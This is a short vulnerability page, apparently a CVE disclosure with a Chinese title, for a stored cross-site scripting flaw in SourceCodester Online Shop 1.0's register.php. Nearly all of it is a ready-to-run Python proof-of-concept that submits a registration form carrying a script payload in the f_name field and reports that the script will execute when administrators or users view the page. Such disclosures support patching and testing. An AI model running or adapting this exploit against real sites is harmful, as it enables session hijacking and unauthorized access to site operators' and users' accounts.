CVE-2025-13450 | SourceCodester Online Shop 1.0 register.php XSS跨站脚本漏洞

import requests # CVE-2025-13450 PoC - SourceCodester Online Shop 1.0 XSS # Target URL for registration target_url = "http://target.com/shop/register.php" # Malicious payload for XSS in f_name parameter xss_payload = "<script>alert(document.cookie)</script>" # Registration data with XSS payload registration_data = { "f_name": xss_payload, "l_name": "Test", "email": "[email protected]", "password": "Password123!", "contact": "1234567890", "address": "Test Address" } try: # Send registration request response = requests.post(target_url, data=registration_data, timeout=10) if response.status_code == 200: print("[+] XSS payload sent successfully") print(f"[+] Payload: {xss_payload}") print("[+] When admin/users view the affected page, the XSS will be executed") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")